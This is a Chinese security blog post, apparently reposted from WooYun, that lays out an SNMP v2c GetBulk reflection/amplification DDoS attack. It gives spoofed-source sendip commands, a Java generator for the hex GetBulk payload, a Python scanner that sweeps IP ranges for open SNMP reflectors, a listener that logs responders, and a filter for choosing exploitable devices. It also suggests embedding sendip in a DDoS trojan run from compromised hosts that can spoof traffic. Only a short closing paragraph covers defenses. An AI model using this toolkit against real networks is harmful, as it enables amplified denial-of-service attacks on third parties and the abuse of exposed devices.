基于snmp的反射攻击的理论及其实现 – 付弘雪

0x00前言


当时dns反射攻击爆发的时候,我就开始研究snmp的反射攻击(实际可以达到20倍的放大效果),在2013年夏天就已经理论研究完成,后来实现工具化。最后还差规模化(武器化)。其实,是国外在2013年初,就有只言片语叙述snmp的反射攻击,但是没有一篇完整的文章,最近在微博上看到很多朋友转载国外的信息,我觉得,如果再不把自己所研究的放出来刷刷存在感,让我这个rank9的人活不下去了。

0x01背景


罗嗦了这么多,进入正题。

首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。第二,需要主机和缺陷主机之间有大小不对等的信息交换。一般满足这两个条件就可以来实现反射攻击。

0x02理论


Snmp就不过多介绍了,大家可以百度。Snmp有3个版本,这里攻击最理想的是2c版本,而恰恰2c版本也是应用最广的。

在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。

Snmpwalk –c public –v2c IP oid

这里oid是获取snmp具体信息内容的一个标识,snmp里面存的信息是一个树状的信息结构。

2014052716250940920.jpg

其实snmpwalk是获取一条oid信息,但是这个oid里面附带了下一个树节点的oid号,然后snmp会通过 snmpget继续访问下一个oid号(在getnext字段里面),来执行一个类似于循环的行为,但是snmpget的协议大家也看到了,只能获取到一条信息,79的信息长度,只能获得279的反馈,这样实现攻击的放大倍数是不给力的。

关键点来了,根据rfc1441-rfc1452文档说明,snmp第二版里面引入了getbulk来取代反复getnext,用来更好的在单个请求里面获得大量的管理数据。相对应的bt5下还有个snmpbulkget命令

snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid

对应就是获取当前oid后面的70个团体字,这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息,而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包,如图。

2014052716263586576.jpg

这里看到数据包的length大家就会明白了,就是利用这种方式,来获得反射攻击的效果。

这里大家会有个疑问。一个snmp里面会包含n多的信息(上千条肯定有了)为什么这里只用70条,用更多的会返回更多的信息,获得更大的倍数。当然我也想,这么做,可是snmp这协议不像ntp协议直接给你把数据分包返回,而是通过一个包里的不同字段返回多个信息的,所以这里面就会受到网络链路上的mtu这个值的影响,1500这个硬伤是不能越过去的。理论上已经实现了信息不对等的交互了,那么下面就是伪造源ip发udp包的环节了。

此处我用的是sendip这个工具,安装很简单http://www.earth.li/projectpurple/progs/sendip.html

下载源码之后直接在linux下编译安装,这其中可能会遇到编译问题,请参考这里http://blog.csdn.net/figo1986/article/details/7336131

下面看下我用的命令

sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP  -d0x123456789

这里是使用ipv4的协议发送udp包,src_IP 源ip, dst_ip 目的ip,-us udp源端口,-ud udp目的端口,这里snmp默认端口是161,源端口自己随便填,最后部分是数据部分,其实可以直接输入明文的,但是snmp的pdu编码是非常蛋疼的,所以我使用了-d 16进制的形式。

下面是效果,这个包就发到本地吧,这里的源地址就是ddos的反射攻击的被攻击者的地址。

2014052716275084302.jpg

这里看到了效果,为下一步工具化进行了铺垫

最后这个图是虚拟机环境搭的,实现反射攻击的整体图

2014052716283040757.jpg

0x03工具化


首先要解决snmp数据包pdu部分的蛋疼的编码部分,snmp的数据部分是符合基本编码规则(ber)的这里有三篇文章,大家可以完全读懂ber编码和snmp的关系。

http://blog.csdn.net/shanzhizi/article/details/11574849
http://yuanmuqiuyu2000.blog.sohu.com/72641116.html
http://blog.chinaunix.net/uid-23069658-id-3251045.html

对于这个蛋疼的编码,我写了个java程序来生成pdu,里面有注释,大家很好理解的。

#!java
import java.io.UnsupportedEncodingException;
public class SnmpPDUber {
public static String sumlen(String s){
int c=0;
String r="";
String r2="";
s=qukongge(s);
s=s.replaceAll(" ","+");
r=s.replaceAll("\\+","");
//System.out.println(s);
c=r.length()/2;
r2=Integer.toHexString(c);             //十进制转换成16进制返回
return subStr(r2);
}
public static String randomtohex(int i) //产生 i 组 16进制 随机数
{
String s="";
int k;
for(int j=0;j<i;j++){
k=(int)(1+Math.random()*(254-1+1));
s=s+Integer.toHexString(k)+" ";
}
return s;
}
public static String subStr(String s)         // (双位) 0变成00
{
if(s.length()%2==1){
s="0"+s;
}
return s;
}
public static String qukongge(String s){return s.replaceAll(" ","");} //去除空格
public static String toHexString(String s)
{
String str="";
for (int i=0;i<s.length();i++)
{
int ch = (int)s.charAt(i);
String s4 = Integer.toHexString(ch);
str = str +" "+ s4;
}
return str;
}
public static void main(String args[]){
// tag+len+values
String tag="30";//tag标识域 SEQUENCE类型
String len="00";
String values="";//values值域
String versiontag="02";//version tag标识域 INTEGER类型
String versionlen="01";
String versionvalues="01";//version values 00 1版本     01 2c版本
String Communitytag="04";//Community tag标识域 string类型
String Communitylen="00";//Community len长度域
String Communityvalues=args[0];//Community 值域public
System.out.println(Communityvalues);
Communityvalues=toHexString(Communityvalues);
System.out.println(Communityvalues);
String pdutag="a5";//pdu tag 标识域 a5 是 getbulkrequest
String pdulen="00";//pdu len长度域
String pduvalue="";//pdu 值域
String requestid_tag="02";//requestid tag 标识域 INTEGER类型
String requestid_len="04";//requestid len 长度域
String requestid_values="";//8位 16进制 随机   ID
String non_repeaters_tag="02";// getbulk 开始段 标识域
String non_repeaters_len="01";
String non_repeaters_values="00";//16进制0
String max_repeaters_tag="02";// getbulk 循环段 标识域
String max_repeaters_len="01";
String max_repeaters_values="64";// 16进制100
String Variable_tag="30";
String Variable_len="00";
String Variable_value="";
String Item_tag="30";
String Item_len="00";
String Item_values="";
String Object_tag="06";
String Object_len="00";
String Object_values="2b 06 01 02 01";//1.3.6.1.2.1
String value_tag="05";//no error 标识域
String value_len="00";
/*
tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+
non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]
*/
String tmp="";
int j=0;
tmp=value_tag+" "+value_len;
Object_len=sumlen(Object_values);
Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp;
Item_len=sumlen(Item_values);
Variable_value=Item_tag+" "+Item_len+" "+Item_values;
Variable_len=sumlen(Variable_value);
tmp=Variable_tag+" "+Variable_len+" "+Variable_value;
requestid_values=randomtohex(4); //报文随机id后面自带空格,所以下面字符串拼接时候不需要带空格
pduvalue=requestid_tag+" "+requestid_len+" "+requestid_values+non_repeaters_tag+" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp;
pdulen=sumlen(pduvalue);
tmp=pdutag+" "+pdulen+" "+pduvalue;
Communitylen=sumlen(Communityvalues);
values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp;
len=sumlen(values);
tmp=tag+" "+len+" "+values;
System.out.println(tmp);
System.out.println("0x"+qukongge(tmp));
/*sendip -v -p ipv4 -is 192.168.1.101 -id 192.168.1.102 -p udp -us 8000 -ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/
}
}

注意:getbulk的循环字段就是对应 snmpbulkget 里面的 –Cr 标识位。

第二为了有一定数量的能进行反射的主机,需要一个给力的扫描器,这里会有人想到用zmap来扫描,但是要知道, udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的,实测有很多udp程序只要你发的数据不符合他接收的格式时,他是无任何反应和回复的,就和这个ip没开相关端口是一样的效果,snmp也是符合这种情况的,所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包,来期盼正常的返回,来证明这个ip是否可以用来反射攻击。不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块,这个模块我用过,不是太给力。下面是我用python写的一个循环调用sendip发包的程序,来扫描ip段的,里面的pdu是用刚才java编码程序生成出来的。发出的包用一个自写的java程序监听端口,如果有返回信息,就把返回的ip地址输出到文件。

python 3.4版本的

#!python
import os
import time
from pip.backwardcompat import raw_input
__author__ = 'qwe'
class ipScan(object):
def __init__(self, begin, end):
self.begin = begin
self.end = end
def traverseIP(self):
begin_ip = []
end_ip = []
begin = self.begin.split(".")
end = self.end.split(".")
#print(begin,end)
for m in begin:
begin_ip.append(int(m))
for n in end:
end_ip.append(int(n))
a1 = begin_ip[1]
b1 = end_ip[1]
a2 = begin_ip[2]
b2 = end_ip[2]
a3 = begin_ip[3]
b3 = end_ip[3]
print(a1,b1,a2,b2,a3,b3)
for o in range(a1,b1+1):
p=1
q=1
if(o==a1):
p=a2
else:
p=1
if(o==b1):
q=b2
else:
q=254
for m in range(a2, b2 + 1):
i = 1
j = 1
if (m == a2 ):
i = a3
else:
i = 1
if (m == b2):
j = b3
else:
j = 254
for n in range(i, j + 1):
ipstr=(str(begin_ip[0]) + "." + str(o) + "." + str(m) + "." + str(n))
sendip='sendip -p ipv4 -is 192.168.0.108 -id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'
print(sendip)
os.system(sendip)
time.sleep(0.1)
begin = raw_input("enter begin ip addr: ")
end = raw_input("enter end ip addr: ")
#print (begin,end)
a = ipScan(begin, end)
a.traverseIP()

java监听程序

#!java
/**
* Created with IntelliJ IDEA.
* User: Clevo
* Date: 14-3-11
* Time: 下午10:09
* To change this template use File | Settings | File Templates.
*/
import org.bouncycastle.asn1.ASN1InputStream;
import org.bouncycastle.asn1.ASN1Primitive;
import org.bouncycastle.asn1.util.ASN1Dump;
import java.io.ByteArrayInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.net.*;
public class udpListen {
public static void main(String[] args) {
printReceiveInfomationFromPort(8000);
}
static void printReceiveInfomationFromPort(int port) {
new Thread(new MonitorPortRunnable(port)).start();
}
}
class MonitorPortRunnable implements Runnable {
byte buf[] = new byte[1024];
DatagramSocket ds = null;
DatagramPacket dp = null;
int localReceivePort ;
public MonitorPortRunnable(int localReceivePort) {
this.localReceivePort = localReceivePort;
}
public static void writefile2(String fileName, String content) {
try {
// 打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件
FileWriter writer = new FileWriter(fileName, true);
writer.write(content);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void run() {
dp = new DatagramPacket(buf, 0, 1024);
try {
ds = new DatagramSocket(localReceivePort);
} catch (SocketException e1) {
//prompt("本地接收端口已被使用");
System.exit(0);
}
while (true) {
try {
ds.receive(dp);
//System.out.println("信息来自:" + this.localReceivePort);
} catch (IOException e) {
ds.close();
e.printStackTrace();
}
byte[] c=dp.getData();
int c_len=dp.getLength();
String receiveMessage = new String(c, 0, c_len);
String receiveAddr=new String(dp.getAddress().toString());
//System.out.println(receiveMessage);//暂时打印到控制台,一般输出到文件
System.out.println(receiveAddr);
writefile2("result.txt",receiveAddr+"\r\n");
}
}
}

2014052716295083031.png

最后还有一个java写的结果过滤,其实就是一个snmp的信息获取程序,来筛选可利用的主机或者设备,大家可以增加更多的功能,例如看出口的速度等。

#!java
import java.io.*;
import java.util.Vector;
import org.snmp4j.CommunityTarget;
import org.snmp4j.PDU;
import org.snmp4j.Snmp;
import org.snmp4j.event.ResponseEvent;
import org.snmp4j.mp.SnmpConstants;
import org.snmp4j.smi.OID;
import org.snmp4j.smi.OctetString;
import org.snmp4j.smi.UdpAddress;
import org.snmp4j.smi.VariableBinding;
import org.snmp4j.transport.DefaultUdpTransportMapping;
public class SnmpDATAget {
public static void main(String[] args) throws IOException, InterruptedException {
Snmp snmp = new Snmp(new DefaultUdpTransportMapping());
snmp.listen();
//args[0]="public";
//args[1]="ip.txt";
//args[2]="oid.txt";
CommunityTarget target = new CommunityTarget();
target.setCommunity(new OctetString(args[0]));
target.setVersion(SnmpConstants.version2c);
target.setTimeout(3000);    //3s
target.setRetries(1);     //重试次数
try {
//String encoding="GBK";
String encoding="UTF-8";
File file=new File(args[1]);
if(file.isFile() && file.exists()){ //判断文件是否存在
InputStreamReader read = new InputStreamReader(
new FileInputStream(file),encoding);//考虑到编码格式
BufferedReader bufferedReader = new BufferedReader(read);
String lineTxt = null;
while((lineTxt = bufferedReader.readLine()) != null){
System.out.print(lineTxt + "@");
target.setAddress(new UdpAddress(lineTxt+"/161"));
sendRequest(snmp, createGetPdu(args[2]), target);
}
read.close();
}else{
System.out.println("找不到指定的文件");
}
} catch (Exception e) {
System.out.println("读取文件内容出错");
e.printStackTrace();
}
}
private static PDU createGetPdu(String path) {
PDU pdu = new PDU();
pdu.setType(PDU.GET);
try {
//String encoding="GBK";
String encoding="UTF-8";
File file=new File(path);
if(file.isFile() && file.exists()){ //判断文件是否存在
InputStreamReader read = new InputStreamReader(
new FileInputStream(file),encoding);//考虑到编码格式
BufferedReader bufferedReader = new BufferedReader(read);
String lineTxt = null;
while((lineTxt = bufferedReader.readLine()) != null){
pdu.add(new VariableBinding(new OID(lineTxt))); //sysName
//System.out.println(lineTxt);
}
read.close();
}else{
System.out.println("找不到指定的文件"+path);
}
} catch (Exception e) {
System.out.println("读取文件内容出错");
e.printStackTrace();
}
/*
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0")));
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.2.0")));
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.3.0")));
*/
return pdu;
}
private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target)
throws IOException {
ResponseEvent responseEvent = snmp.send(pdu, target);
PDU response = responseEvent.getResponse();
if (response == null) {
System.out.println("TimeOut...");
} else {
if (response.getErrorStatus() == PDU.noError) {
Vector<? extends VariableBinding> vbs = response.getVariableBindings();
for (VariableBinding vb : vbs) {
System.out.println(vb + " ," + vb.getVariable().getSyntaxString());
}
} else {
System.out.println("Error:" + response.getErrorStatusText());
}
}
}
}

0x04武器化


这里面sendip可以作为一个模块集成到linux下面的ddos马里面。

好吧让大家失望了,从上面的各种杂牌程序大家不难看出,我是一个不会写程序的人,所以ddos的马部分默默地忽略掉吧,如果有大神会写,我们可以共同研究。

0x05局限性,防御办法和解决办法


第一,需要发包的肉鸡是属于纯外网ip地址,因为一般经过路由或者特殊设置(例如设置:忽略从lan口来的源ip地址不属于本子网的数据包)的三层交换时,此伪造包就会被过滤掉,从而失去效果。解决办法就是找那种可以发伪造包的肉鸡,其实还是很多的,简单点说nat形式为0的,基本都能发。这种肉鸡国外还是不少的。

第二,是混世魔王给我提出来的,能进行反射的主机的数量。这个还是很多的,因为不光有些有需要的linux开snmp,其实linux开snmp的基本都是内网的机器,用来进行性能监控用,更多的是网络上的设备,交换,路由,防火墙等,这些设备从小到大都会有开snmp的,他们所属的带宽大小也会有所不同,百兆千兆甚至万兆以太网口的设备都是会出现的。所以这方面能反射的主机数量不用担心。在上面工具化里面的扫描工具实践一下就可以看出来。

第三,防御办法,开snmp的主机尽量不要暴露在外网,还可以用改 默认密码来限制访问,或者改默认161端口。或者禁止响应bulkget的这种包,仅仅响应get方式获取

欢迎各位朋友来指正问题。

原文链接:http://drops.wooyun.org/tips/2106

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